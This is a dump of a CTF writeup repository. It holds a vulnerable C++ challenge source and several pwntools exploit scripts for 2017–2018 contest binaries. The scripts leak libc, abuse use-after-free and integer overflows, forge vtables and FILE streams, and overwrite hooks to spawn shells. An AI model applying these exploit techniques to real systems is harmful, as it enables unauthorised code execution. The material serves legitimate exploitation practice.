├── 2017 Christmas ├── .gitkeep ├── babyCPP └── babyCPP.cpp ├── 2017 Codegate Finals └── VM │ ├── .gitkeep │ ├── VM │ └── VM.py ├── 2017 Whitehat Contest └── bank │ ├── .gitkeep │ ├── bank │ └── bank.py ├── 2018 AceBear CTF ├── Comic Store │ ├── .gitkeep │ └── comic.py ├── easy heap │ ├── .gitkeep │ └── easy.py └── lol game │ ├── .gitkeep │ └── lol.py ├── 2018 Codegate Quals ├── 7amebox1 │ ├── .gitkeep │ ├── 7amebox1.py │ ├── 7amebox1.zip │ ├── debugger.py │ └── disassembler.py ├── SuperFTP │ ├── .gitkeep │ ├── README.md │ └── SuperFTP.py ├── SuperMarimo │ ├── .gitkeep │ ├── README.md │ └── SuperMarimo.py ├── babyRSA │ ├── .gitkeep │ ├── README.md │ └── RSAbaby.py └── baskin │ ├── .gitkeep │ ├── README.md │ └── baskin.py ├── 2018 Insomni-hack teaser └── sapeloshop │ ├── .gitkeep │ ├── footer.html │ ├── header.html │ ├── index.html │ ├── libc-2.23.so │ ├── order.html │ ├── sapeloshop │ └── sapeloshop.py ├── 2018 TokyoWesterns CTF ├── crypto │ ├── .gitkeep │ └── mix.py └── pwnable │ ├── .gitkeep │ ├── gc.py │ └── neighbor.py ├── 2019 PCTF ├── Splaid Birch │ └── solve.py ├── Suffarring │ └── solve.py └── cppp │ └── solve.py ├── Codeblue CTF ├── Secret Mailer Service │ ├── README.md │ ├── mailer │ └── mailer.py └── nonamestill │ ├── README.md │ ├── noname │ └── noname-first.py ├── Codegate 2017 Quals ├── dartmaster │ ├── .gitkeep │ └── dartmaster.py └── hunting │ ├── .gitkeep │ ├── hunting │ └── hunting.py ├── HITCON ├── Start │ ├── README.md │ ├── start.py │ └── start.rb ├── babyfs │ ├── README.md │ └── babyfs.py └── ragnarok │ ├── .gitkeep │ ├── libc.so.6 │ ├── libvtv.so.0 │ ├── ragnarok.bin │ ├── ragnarok.cc │ └── ragnarok.py ├── LICENSE ├── README.md ├── SECCON ├── video_player │ ├── .gitkeep │ └── video.py └── vm_no_fun │ ├── .gitkeep │ └── inception.py ├── mix.py └── secuinside-2017 ├── .gitkeep ├── ChildHeap ├── .gitkeep └── child.py ├── IdolMaster ├── .gitkeep └── idol.py ├── Very Very Chart ├── .gitkeep └── chart.py └── Very Very Very ├── .gitkeep ├── vvv └── vvv.py /2017 Christmas/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2017 Christmas/babyCPP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2017 Christmas/babyCPP -------------------------------------------------------------------------------- /2017 Christmas/babyCPP.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | using namespace std; 8 | 9 | class Whisky { 10 | private: 11 | string name; 12 | unsigned int year; 13 | unsigned int maxVolume; 14 | unsigned int curVolume; 15 | char* type; 16 | 17 | public: 18 | Whisky(string name, unsigned int year, unsigned int maxVol, unsigned int curVol, string type) 19 | : year(year), maxVolume(maxVol), curVolume(curVol) 20 | { 21 | this->name = name; 22 | this->type = new char[type.size()]; 23 | strcpy(this->type, type.c_str()); 24 | } 25 | Whisky(const Whisky& copy) { 26 | name = copy.name; 27 | year = copy.year; 28 | maxVolume = copy.maxVolume; 29 | curVolume = copy.curVolume; 30 | type = new char[strlen(copy.type) + 1]; 31 | strcpy(type, copy.type); 32 | } 33 | void printInfo() { 34 | cout << "Whisky name: " << name << endl; 35 | cout << "Aged year: " << year << endl; 36 | cout << "Whisky Volume: " << maxVolume << endl; 37 | cout << "Current Volume: " << curVolume << endl; 38 | cout << "Cask type: " << type << endl << endl; 39 | } 40 | bool drinkWhisky() { 41 | if (curVolume > 30) { 42 | curVolume -= 30; 43 | return true; 44 | } 45 | curVolume = 0; 46 | return false; 47 | } 48 | ~Whisky() { 49 | delete[] type; 50 | } 51 | }; 52 | 53 | class WhiskyCellar { 54 | private: 55 | string cellarName; 56 | vector vec; 57 | unsigned int maxVolume; 58 | unsigned int curVolume; 59 | 60 | public: 61 | WhiskyCellar(string cellarName, unsigned int maxVol) 62 | : maxVolume(maxVol), curVolume(0) 63 | { 64 | vec.clear(); 65 | this->cellarName = cellarName; 66 | } 67 | WhiskyCellar(const WhiskyCellar& copy) 68 | : maxVolume(copy.maxVolume), curVolume(copy.curVolume) 69 | { 70 | cellarName = copy.cellarName; 71 | vec = copy.vec; 72 | } 73 | WhiskyCellar& operator=(const WhiskyCellar& copy) { 74 | cellarName = copy.cellarName; 75 | vec = copy.vec; 76 | maxVolume = copy.maxVolume; 77 | curVolume = copy.curVolume; 78 | return *this; 79 | } 80 | void addWhisky(Whisky wh) { 81 | curVolume += 5; 82 | if (curVolume > maxVolume) { 83 | cout << "Over." << endl; 84 | exit(1); 85 | } 86 | vec.push_back(wh); 87 | } 88 | void removeWhisky(unsigned int idx) { 89 | if (idx >= vec.size()) { 90 | cout << "OOB" << endl; 91 | exit(1); 92 | } 93 | curVolume -= 5; 94 | vec.erase(vec.begin() + idx); 95 | } 96 | void showWhisky(unsigned int idx) { 97 | vec.at(idx).printInfo(); 98 | } 99 | void insertWhisky(unsigned int idx, Whisky wh) { 100 | vector::iterator iterInsertPos = vec.begin(); 101 | iterInsertPos += idx; 102 | vec.insert(iterInsertPos, wh); 103 | } 104 | Whisky getIndex(unsigned int idx) { 105 | return vec.at(idx); 106 | } 107 | unsigned int getCellarSize() { 108 | return curVolume; 109 | } 110 | }; 111 | 112 | class User { 113 | public: 114 | string userName; 115 | vector whiskyVec; 116 | vector cellarVec; 117 | unsigned int money; 118 | 119 | public: 120 | User(string userName) 121 | : money(100000) 122 | { 123 | whiskyVec.clear(); 124 | cellarVec.clear(); 125 | this->userName = userName; 126 | } 127 | User(const User& copy) { 128 | userName = copy.userName; 129 | whiskyVec = copy.whiskyVec; 130 | cellarVec = copy.cellarVec; 131 | money = copy.money; 132 | } 133 | User& operator=(const User& copy) { 134 | userName = copy.userName; 135 | whiskyVec = copy.whiskyVec; 136 | cellarVec = copy.cellarVec; 137 | money = copy.money; 138 | return *this; 139 | } 140 | void createWhisky(string name, unsigned int year, unsigned int maxVol, unsigned int curVol, string type) { 141 | if (curVol > 1000) { 142 | cout << "many" << endl; 143 | exit(1); 144 | } 145 | if (year > 60) { 146 | cout << "old" << endl; 147 | exit(1); 148 | } 149 | if (!type.compare("Bourbon") || 150 | !type.compare("Oloroso Sherry") || 151 | !type.compare("Fine Wine") || 152 | !type.compare("Pedro Ximenez")) 153 | { 154 | Whisky wh(name, year, maxVol, curVol, type); 155 | whiskyVec.push_back(wh); 156 | return; 157 | } 158 | cout << "Invalid" << endl; 159 | } 160 | void deleteWhisky(unsigned int idx) { 161 | if (idx >= whiskyVec.size()) { 162 | cout << "OOB" << endl; 163 | exit(1); 164 | } 165 | whiskyVec.erase(whiskyVec.begin() + idx); 166 | } 167 | void drinkWhisky(unsigned int idx) { 168 | if (idx >= whiskyVec.size()) { 169 | cout << "OOB" << endl; 170 | exit(1); 171 | } 172 | Whisky wh = whiskyVec.at(idx); 173 | if (!wh.drinkWhisky()) { 174 | whiskyVec.erase(whiskyVec.begin() + idx); 175 | return; 176 | } 177 | } 178 | void printWhisky(unsigned int idx) { 179 | if (idx >= whiskyVec.size()) { 180 | cout << "OOB" << endl; 181 | exit(1); 182 | } 183 | whiskyVec.at(idx).printInfo(); 184 | } 185 | 186 | void createCellar(string cellarName, unsigned int maxVol) { 187 | unsigned int val = maxVol * 500; 188 | if (money < val) { 189 | cout << "Dont." << endl; 190 | exit(1); 191 | } 192 | WhiskyCellar wh(cellarName, maxVol); 193 | if (cellarVec.size() > 3) { 194 | cout << "Many." << endl; 195 | exit(1); 196 | } 197 | cellarVec.push_back(wh); 198 | } 199 | 200 | void showcaseToCellar(unsigned int showcaseIdx, unsigned int cellarIdx) { 201 | Whisky wh = whiskyVec.at(showcaseIdx); 202 | cellarVec.at(cellarIdx).addWhisky(wh); 203 | whiskyVec.erase(whiskyVec.begin() + showcaseIdx); 204 | } 205 | void cellarToShowcase(unsigned int cellarIdx, unsigned int whiskyIdx) { 206 | Whisky wh = cellarVec.at(cellarIdx).getIndex(whiskyIdx); 207 | whiskyVec.push_back(wh); 208 | cellarVec.at(cellarIdx).removeWhisky(whiskyIdx); 209 | } 210 | void cellarToCellar(unsigned int cellarIdx, unsigned int whiskyIdx, unsigned int cellarIdxDest) { 211 | Whisky wh = cellarVec.at(cellarIdx).getIndex(whiskyIdx); 212 | cellarVec.at(cellarIdx).removeWhisky(whiskyIdx); 213 | cellarVec.at(cellarIdxDest).addWhisky(wh); 214 | } 215 | void cellarSwitch(unsigned int cellarIdx1, unsigned int whiskyIdx1, unsigned int cellarIdx2, unsigned int whiskyIdx2) { 216 | if ((cellarIdx1 == cellarIdx2) && (whiskyIdx1 == whiskyIdx2)) { 217 | cout << "DUP" << endl; 218 | exit(1); 219 | } 220 | Whisky wh = cellarVec.at(cellarIdx1).getIndex(whiskyIdx1); 221 | Whisky tmp = cellarVec.at(cellarIdx2).getIndex(whiskyIdx2); 222 | 223 | cellarVec.at(cellarIdx1).removeWhisky(whiskyIdx1); 224 | cellarVec.at(cellarIdx1).insertWhisky(whiskyIdx1, tmp); 225 | tmp = wh; 226 | cellarVec.at(cellarIdx2).removeWhisky(whiskyIdx2); 227 | cellarVec.at(cellarIdx2).insertWhisky(whiskyIdx2, tmp); 228 | } 229 | void printCellar(unsigned int idx) { 230 | if (idx >= cellarVec.size()) { 231 | cout << "OOB" << endl; 232 | exit(1); 233 | } 234 | for(int i = 0; i < cellarVec.at(idx).getCellarSize() / 5; ++i) 235 | cellarVec.at(idx).showWhisky(i); 236 | } 237 | void deleteCellar(unsigned int idx) { 238 | cellarVec.erase(cellarVec.begin() + idx); 239 | } 240 | }; 241 | 242 | int main(void) { 243 | setvbuf(stdin, 0, 2, 0); 244 | setvbuf(stdout, 0, 2, 0); 245 | string buf, name, type; 246 | 247 | cout << "What's your name my baby? "; 248 | getline(cin, buf); 249 | User user(buf); 250 | unsigned int idx, year, maxVol; 251 | unsigned int cidx1, cidx2, sidx, didx1, didx2; 252 | 253 | while (1) { 254 | cout << "> "; 255 | getline(cin, buf); 256 | if (!buf.compare("\x11\x11")) { 257 | 258 | cout << "n? "; 259 | getline(cin, name); 260 | cout << "y? "; 261 | cin >> year; 262 | cout << "m? "; 263 | cin >> maxVol; 264 | cout << "t? "; 265 | cin >> type; 266 | 267 | user.createWhisky(name, year, maxVol, maxVol, type); 268 | } 269 | else if (!buf.compare("\x11\x12")) { 270 | cout << "n? "; 271 | cin >> idx; 272 | user.deleteWhisky(idx); 273 | } 274 | else if (!buf.compare("\x11\x13")) { 275 | cout << "n? "; 276 | cin >> idx; 277 | user.drinkWhisky(idx); 278 | } 279 | else if (!buf.compare("\x11\x14")) { 280 | cout << "n? "; 281 | cin >> idx; 282 | user.printWhisky(idx); 283 | } 284 | 285 | if (!buf.compare("\x21\x21")) { 286 | cout << "n? "; 287 | getline(cin, name); 288 | cout << "v? "; 289 | cin >> maxVol; 290 | user.createCellar(name, maxVol); 291 | } 292 | else if (!buf.compare("\x21\x22")) { 293 | cout << "n? "; 294 | cin >> idx; 295 | user.deleteCellar(idx); 296 | } 297 | else if (!buf.compare("\x21\x23")) { 298 | cout << "n? "; 299 | cin >> idx; 300 | user.printCellar(idx); 301 | } 302 | 303 | if (!buf.compare("\x31\x31")) { // showcase -> cellar 304 | cout << "si? "; 305 | cin >> sidx; 306 | cout << "ci? "; 307 | cin >> cidx1; 308 | user.showcaseToCellar(sidx, cidx1); 309 | } 310 | else if (!buf.compare("\x31\x32")) { 311 | cout << "ci? "; 312 | cin >> cidx1; 313 | cout << "wi? "; 314 | cin >> didx1; 315 | user.cellarToShowcase(cidx1, didx1); 316 | } 317 | else if (!buf.compare("\x31\x33")) { 318 | cout << "cif? "; 319 | cin >> cidx1; 320 | cout << "wif? "; 321 | cin >> didx1; 322 | cout << "cid? "; 323 | cin >> cidx2; 324 | user.cellarToCellar(cidx1, didx1, cidx2); 325 | } 326 | else if (!buf.compare("\x31\x34")) { 327 | cout << "cif?? "; 328 | cin >> cidx1; 329 | cout << "wif?? "; 330 | cin >> didx1; 331 | cout << "cid? "; 332 | cin >> cidx2; 333 | cout << "wid? "; 334 | cin >> didx2; 335 | user.cellarSwitch(cidx1, didx1, cidx2, didx2); 336 | } 337 | } 338 | } 339 | -------------------------------------------------------------------------------- /2017 Codegate Finals/VM/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2017 Codegate Finals/VM/VM: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2017 Codegate Finals/VM/VM -------------------------------------------------------------------------------- /2017 Codegate Finals/VM/VM.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./VM") 4 | 5 | def inst(inst, arg1, arg2, arg3, val): 6 | p = (inst<<28) | (arg1<<26) | (arg2<<23) | (arg3<<20) | (0xf<<16) | val 7 | return hex(p)[2:].zfill(8) 8 | 9 | r.sendline(inst(5, 0, 1, 2, 0)*50) # xchg R1, R2 = 0, to get libc addr from cin() 10 | r.sendline(inst(1, 1, 7, 0, 0x4320)) # move sack to ptr stores libc addr 11 | r.sendline(inst(0, 3, 0, 0, 0)) # get libc 12 | 13 | print r.recvuntil("0x4320 ") 14 | 15 | libc = 0x0 16 | 17 | for i in range(6): 18 | val = int(r.recvuntil(" ")[:-1], 16) 19 | libc += val * 256**i 20 | 21 | print "libc: " + hex(libc) 22 | 23 | libc_base = libc - 0x3c1c58 24 | one_gadget = libc_base + 0x4557a # get one-gadget addr 25 | 26 | r.sendline(inst(1, 1, 7, 0, 0x4138)) # set SP to bind function ptr 27 | 28 | r.sendline(inst(8, 3, 0, 0, 0x0)) # push 0x0 29 | r.sendline(inst(8, 3, 0, 0, one_gadget>>32)) 30 | r.sendline(inst(8, 3, 0, 0, (one_gadget>>16)&0xffff)) 31 | r.sendline(inst(8, 3, 0, 0, one_gadget&0xffff)) # push one_gadget 32 | 33 | r.sendline(inst(1, 1, 0, 0, 0x1)) # R0 = 1 to call bind 34 | 35 | r.sendline(inst(10, 3, 0, 0, 0)) # call one_gadget 36 | 37 | r.interactive() 38 | -------------------------------------------------------------------------------- /2017 Whitehat Contest/bank/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2017 Whitehat Contest/bank/bank: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2017 Whitehat Contest/bank/bank -------------------------------------------------------------------------------- /2017 Whitehat Contest/bank/bank.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./bank") 4 | 5 | def transfer(wbflag, money): 6 | r.sendline("2") 7 | r.recvuntil("---> ") 8 | r.sendline(str(wbflag)) 9 | r.recvuntil("---> ") 10 | r.sendline(str(money)) 11 | 12 | def deposit(wbflag, money): 13 | r.sendline("3") 14 | r.recvuntil("---> ") 15 | r.sendline(str(wbflag)) 16 | r.recvuntil("---> ") 17 | r.sendline(str(money)) 18 | 19 | def buyItem(index): 20 | r.sendline("5") 21 | print r.recvuntil("Want?") 22 | r.sendline(str(index)) 23 | print r.recvuntil("---> ") 24 | 25 | def changeItem(index, name): 26 | r.sendline("6") 27 | print r.recvuntil("Number") 28 | r.sendline(str(index)) 29 | print r.recvuntil("---> ") 30 | r.sendline(name) 31 | 32 | print r.recvuntil("---> ") 33 | 34 | deposit(1, 800) 35 | 36 | transfer(1, 0) 37 | transfer(1, 0) 38 | transfer(1, 0) 39 | r.send("4\n1\n800\n") 40 | r.send("4\n1\n800\n") 41 | r.send("4\n1\n1000000000000010000\n") 42 | 43 | sleep(4.5) 44 | 45 | for i in range(17): 46 | buyItem(1) 47 | 48 | changeItem(0, "/bin/sh\x00") 49 | changeItem(16, p64(0x602fa0)) 50 | 51 | r.sendline("1") 52 | print r.recvuntil("Number : ") 53 | rv = r.recv(6) 54 | libc = u64(rv + "\x00\x00") 55 | libc_base = libc - 0x3b660 56 | system = libc_base + 0x456a0 57 | free_hook = libc_base + 0x3c3788 58 | 59 | print r.recvuntil("---> ") 60 | 61 | changeItem(16, p64(free_hook)) 62 | 63 | r.sendline("5") 64 | print r.recvuntil("---> ") 65 | r.sendline("\xff") 66 | print r.recvuntil("---> ") 67 | r.sendline("1") 68 | 69 | r.sendline(p64(system)[:-1]) 70 | 71 | for i in range(9): 72 | r.send("2\n1\n100\n") 73 | 74 | r.interactive() 75 | -------------------------------------------------------------------------------- /2018 AceBear CTF/Comic Store/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 AceBear CTF/Comic Store/comic.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #env = {"LD_PRELOAD":"./comic.so.6"} 4 | #r = process("./comic_store", env=env) 5 | 6 | r = remote("comicstore.acebear.site", 3005) 7 | 8 | def register(name): 9 | r.sendline("1") 10 | print r.recvuntil("name: ") 11 | r.send(name) 12 | print r.recvuntil("choice: ") 13 | 14 | def addComic(name, quantity): 15 | r.sendline("3") 16 | print r.recvuntil("comic: ") 17 | r.sendline(name) 18 | print r.recvuntil("Quantity: ") 19 | r.sendline(str(quantity)) 20 | print r.recvuntil("choice: ") 21 | 22 | def rename(name): 23 | r.sendline("4") 24 | print r.recvuntil("choice: ") 25 | r.sendline("2") 26 | print r.recvuntil("name: ") 27 | r.send(name) 28 | print r.recvuntil("choice: ") 29 | r.sendline("4") 30 | print r.recvuntil("choice: ") 31 | 32 | def feedback(sbig, feedback): 33 | r.sendline("4") 34 | print r.recvuntil("choice: ") 35 | r.sendline("3") 36 | print r.recvuntil("choice: ") 37 | r.sendline(str(sbig)) 38 | print r.recvuntil(": ") 39 | r.send(feedback) 40 | r.sendline("4") 41 | print r.recvuntil("choice: ") 42 | 43 | def takeComicOut(comic, quantity): 44 | r.sendline("5") 45 | print r.recvuntil("choice: ") 46 | r.sendline("2") 47 | print r.recvuntil("comic: ") 48 | r.sendline(comic) 49 | print r.recvuntil("Quantity: ") 50 | r.sendline(str(quantity)) 51 | print r.recvuntil("choice: ") 52 | r.sendline("3") 53 | print r.recvuntil("choice: ") 54 | 55 | print r.recvuntil("choice: ") 56 | 57 | #gdb.attach(r, "") 58 | 59 | register("A"*0xa0) 60 | 61 | for i in range(7): 62 | addComic("Conan", 138548) # using integer overflow 63 | 64 | takeComicOut("Conan", 138500) 65 | 66 | r.sendline("6") 67 | print r.recvuntil("no) ") 68 | r.sendline("1") # I'm rich now! 69 | 70 | print r.recvuntil("choice: ") 71 | 72 | addComic("Conan", 1) 73 | addComic("Dragon Ball", 1) 74 | addComic("Doraemon", 1) 75 | 76 | for i in range(6): 77 | addComic("Doraemon", 165192) 78 | 79 | addComic("Doraemon", 8847) 80 | 81 | r.sendline("6") 82 | print r.recvuntil("no) ") 83 | r.sendline("1") # Trigger UAF 84 | 85 | addComic("Naruto", 1) 86 | 87 | r.sendline("5") 88 | print r.recvuntil("choice: ") 89 | r.sendline("1") 90 | print r.recvuntil("30000 VND") 91 | print r.recvuntil("* ") 92 | 93 | rv = r.recv(6) 94 | heap = u64(rv + "\x00\x00") 95 | heap_base = heap - 0xd0 96 | print r.recvuntil("choice: ") 97 | r.sendline("3") 98 | print r.recvuntil("choice: ") 99 | 100 | print "heap: " + hex(heap_base) 101 | 102 | rename("A"*0xe8 + p64(heap_base+0x310)) 103 | feedback(1, p64(heap_base+0x508)+"\x00"*16) 104 | 105 | ##### leak libc ##### 106 | 107 | r.sendline("5") 108 | print r.recvuntil("choice: ") 109 | r.sendline("1") 110 | print r.recvuntil("30000 VND") 111 | print r.recvuntil("* ") 112 | 113 | rv = r.recv(6) 114 | libc = u64(rv + "\x00\x00") 115 | #libc_base = libc - 0x3c1bf8 116 | libc_base = libc - 0x3c4c18 117 | 118 | gets = libc_base + 0x6ed80 119 | system = libc_base + 0x45390 120 | 121 | print r.recvuntil("choice: ") 122 | r.sendline("3") 123 | print r.recvuntil("choice: ") 124 | 125 | print "libc: " + hex(libc) 126 | 127 | addComic("Death Note", 1) 128 | addComic("Conan", 138547) 129 | addComic("Conan", 30116) 130 | 131 | r.sendline("6") 132 | print r.recvuntil("no) ") 133 | r.sendline("1") # Trigger UAF 134 | 135 | ######################################## 136 | 137 | vtbl = p64(gets)*17 138 | vtbl += p64(heap_base+0x530) 139 | #vtbl += p64(0x0) 140 | #vtbl += p64(0x21) 141 | #vtbl += p64(heap_base+0x520) # name 142 | #vtbl += p64(0)*2 # price, quantity 143 | #vtbl += p64(0) # align 144 | #vtbl += p64(0x0) 145 | #vtbl += p64(0x21) 146 | 147 | feedback(2, vtbl) # fake vtable 148 | feedback(1, p64(heap_base+0x70) + p64(libc_base+0x3c56f8-0x10) + p64(heap_base + 0x520)) # UAF 149 | 150 | addComic("One Piece", 1) 151 | addComic("Inuyasha", 1) 152 | 153 | r.sendline("6") 154 | 155 | file_stream = "\x87\x20\xad\xfb\x3b\x73\x68\x00" 156 | file_stream += p64(libc_base + 0x3c56a3)*7 157 | file_stream += p64(libc_base + 0x3c56a4) 158 | file_stream += "\x00"*32 159 | file_stream += p64(libc_base + 0x3c48e0) 160 | file_stream += p64(0x1) 161 | file_stream += p64(0xffffffffffffffff) 162 | file_stream += p64(0x0) 163 | file_stream += p64(libc_base + 0x3c6780) 164 | file_stream += p64(0xffffffffffffffff) 165 | file_stream += "\x00"*8 166 | file_stream += p64(libc_base + 0x3c47a0) 167 | file_stream += "\x00"*24 168 | file_stream += p64(0xffffffff) 169 | file_stream += "\x00"*16 170 | file_stream += p64(libc_base + 0x3c5700) 171 | file_stream += p64(libc_base + 0x3c5540) 172 | file_stream += p64(libc_base + 0x3c5620) 173 | file_stream += p64(libc_base + 0x3c48e0) 174 | file_stream += p64(libc_base + 0x20b70) 175 | file_stream += p64(system)*15 176 | 177 | r.sendline(file_stream) 178 | 179 | r.interactive() 180 | 181 | # AceBear{pl3ase_read_comic_wh3n_u_h4ve_fr33_tim3} -------------------------------------------------------------------------------- /2018 AceBear CTF/easy heap/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 AceBear CTF/easy heap/easy.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #env = {"LD_PRELOAD":"./easy.so.6"} 4 | #r = process("./easy") 5 | r = remote("easyheap.acebear.site", 3002) 6 | 7 | def createName(idx, name): 8 | r.sendline("1") 9 | print r.recvuntil("Index: ") 10 | r.sendline(str(idx)) 11 | print r.recvuntil("name: ") 12 | r.send(name) 13 | print r.recvuntil("choice: ") 14 | 15 | def deleteName(idx): 16 | r.sendline("3") 17 | print r.recvuntil("Index: ") 18 | r.sendline(str(idx)) 19 | print r.recvuntil("choice: ") 20 | 21 | def showName(idx): 22 | r.sendline("4") 23 | print r.recvuntil("Index: ") 24 | r.sendline(str(idx)) 25 | r.recvuntil("is: ") 26 | rv = r.recvuntil("\n")[:-1] 27 | print r.recvuntil("choice:") 28 | return rv 29 | 30 | def editName(idx, dt): 31 | r.sendline("2") 32 | print r.recvuntil("Index: ") 33 | r.sendline(str(idx)) 34 | print r.recvuntil("name: ") 35 | r.send(dt) 36 | print r.recvuntil("choice: ") 37 | 38 | print r.recvuntil("name: ") 39 | r.sendline("AAAABBBBCCCCDDDD" + p32(0x804b0e0)) 40 | 41 | print r.recvuntil("age: ") 42 | r.sendline("18") 43 | print r.recvuntil("choice: ") 44 | 45 | rv = showName(-8) 46 | 47 | libc = u32(rv[4:8]) 48 | #libc_base = libc - 0x1b25e7 49 | libc_base = libc - 0x1b05e7 50 | system = libc_base + 0x3a940 51 | #system = libc_base + 0x3ada0 52 | 53 | print hex(libc) 54 | 55 | createName(0, "asdf") 56 | createName(1, "asdf") 57 | createName(2, "asdf") 58 | deleteName(0) 59 | deleteName(1) 60 | deleteName(2) 61 | 62 | rv = showName(2) 63 | heap = u32(rv) 64 | 65 | createName(0, "A"*32) 66 | createName(1, "B"*12 + "B"*17+";sh") 67 | createName(2, "C"*32) 68 | 69 | createName(3, "AAAA"+p32(heap)+"a"*24) 70 | 71 | createName(4, "aaaabbbb" + p32(system) + "E"*20) 72 | createName(5, "F"*32) 73 | createName(6, "aaaabbbbccccddddeeeeffffg" + p32(heap+0x6c) + "hhh") 74 | 75 | print "heap: " + hex(heap) 76 | print "system: " + hex(system) 77 | 78 | raw_input("$") 79 | 80 | r.sendline("2") 81 | print r.recvuntil("Index") 82 | r.sendline("-2470") 83 | print r.recvuntil("name") 84 | r.send(p32(heap+0x14)*2) 85 | 86 | r.interactive() 87 | 88 | # AceBear{m4yb3_h34p_i5_3a5y_f0r_y0u} -------------------------------------------------------------------------------- /2018 AceBear CTF/lol game/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 AceBear CTF/lol game/lol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./lol") 4 | r = remote("lolgame.acebear.site", 3004) 5 | 6 | def play(point): 7 | r.sendline("1") 8 | print r.recvuntil("Point: ") 9 | r.sendline(str(point)) 10 | 11 | for i in range(3): 12 | print r.recvuntil("row: ") 13 | r.sendline("0") 14 | print r.recvuntil("column: ") 15 | r.sendline(str(i+1)) 16 | 17 | def changeName(name): 18 | r.sendline("3") 19 | print r.recvuntil("name:") 20 | r.send(name) 21 | print r.recvuntil("Choice:") 22 | 23 | print r.recvuntil("name:") 24 | r.sendline("mathboy7") 25 | 26 | print r.recvuntil("Choice:") 27 | 28 | changeName("A"*0x10 + chr(58)) 29 | play(-100) 30 | 31 | print r.recvuntil("Score:") 32 | rv = int(r.recvuntil("\n")[:-1]) 33 | libc = 2**32 + rv 34 | libc_base = libc - 0x18276 35 | system = libc_base + 0x3a900 36 | binsh = libc_base + 0x15d00f 37 | 38 | print r.recvuntil("Choice:") 39 | 40 | print "libc: :" + hex(libc) 41 | 42 | changeName("A"*0x10 + chr(57)) 43 | play(-system) 44 | changeName("A"*0x10 + chr(59)) 45 | play(-binsh) 46 | 47 | r.sendline("4") 48 | 49 | r.interactive() 50 | 51 | # AceBear{tH4_r00t_1s_pr0gr4m_l3u7_u_are_hum4n} -------------------------------------------------------------------------------- /2018 Codegate Quals/7amebox1/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 Codegate Quals/7amebox1/7amebox1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from hashlib import * 3 | 4 | r = process("./vm_name.py") 5 | 6 | def p21(dt): 7 | a = chr(dt & 0b1111111) 8 | a += chr((dt>>14) & 0b1111111) 9 | a += chr((dt>>7) & 0b1111111) 10 | 11 | return a 12 | 13 | def inst(op, op_type, op1, op2): 14 | if op_type == 0: 15 | p = ((op&0b11111)<<9) | ((op_type&1)<<8) | ((op1&0b1111)<<4) | ((op2&0b1111)) 16 | p = chr(p>>7) + chr(p&0b1111111) 17 | 18 | elif op_type == 1: 19 | p = ((op&0b11111)<<9) | ((op_type&1)<<8) | ((op1&0b1111)<<4) 20 | p = chr(p>>7) + chr(p&0b1111111) 21 | p += p21(op2) 22 | 23 | return p 24 | 25 | print r.recvuntil("prefix : ") 26 | prefix = r.recvuntil("\n")[:-1] 27 | 28 | print prefix 29 | 30 | i = 0 31 | 32 | while True: 33 | h = prefix + str(i).zfill(8) 34 | sha = new("SHA1") 35 | sha.update(h) 36 | if sha.hexdigest()[-6:] == "000000": 37 | print "found: " + h 38 | break 39 | i += 1 40 | 41 | r.sendline(h) 42 | 43 | print r.recvuntil("name>") 44 | 45 | payload = "flag\x00" # 0xf5f9e 46 | payload += inst(4, 1, 0, 0x1) # r0 = 1 47 | payload += inst(4, 1, 1, 0xf5f9e) # r1 = "flag\x00" 48 | payload += inst(8, 0, 0, 0) # open("flag\x00") 49 | 50 | payload += inst(4, 1, 0, 0x3) # r0 = 3, write 51 | payload += inst(4, 1, 1, 0x2) # r1 = 2, fd(stdin, stdout, flag) 52 | payload += inst(4, 1, 2, 0xf5f00) # r2 = 0xf5f00, buf 53 | payload += inst(4, 1, 3, 0x40) # r3 = 0x40, len 54 | payload += inst(8, 0, 0, 0) # read(2, buf, 0x40) 55 | 56 | payload += inst(4, 1, 0, 0x2) # r0 = 2, write 57 | payload += inst(4, 1, 1, 0x1) # r1 = 1, fd 58 | payload += inst(8, 0, 0, 0) # write(1, buf, 0x40) 59 | 60 | payload += "A" * (57-len(payload)) # padding 61 | payload += p21(0x12345) # canary 62 | payload += p21(0x4141) # bp 63 | payload += p21(0xf5f9e+5) # pc 64 | 65 | r.sendline(payload) 66 | 67 | r.interactive() 68 | -------------------------------------------------------------------------------- /2018 Codegate Quals/7amebox1/7amebox1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2018 Codegate Quals/7amebox1/7amebox1.zip -------------------------------------------------------------------------------- /2018 Codegate Quals/7amebox1/disassembler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import random 4 | import signal 5 | import sys 6 | 7 | def terminate(msg): 8 | print msg 9 | exit(-1) 10 | 11 | def load_firmware(firm_name): 12 | data = open(firm_name, 'rb').read() 13 | firmware = [ord(byte) for byte in data] 14 | return firmware 15 | 16 | def bit_concat(bit_list): 17 | res = 0 18 | for bit in bit_list: 19 | res <<= 7 20 | res += bit & 0b1111111 21 | return res 22 | 23 | def 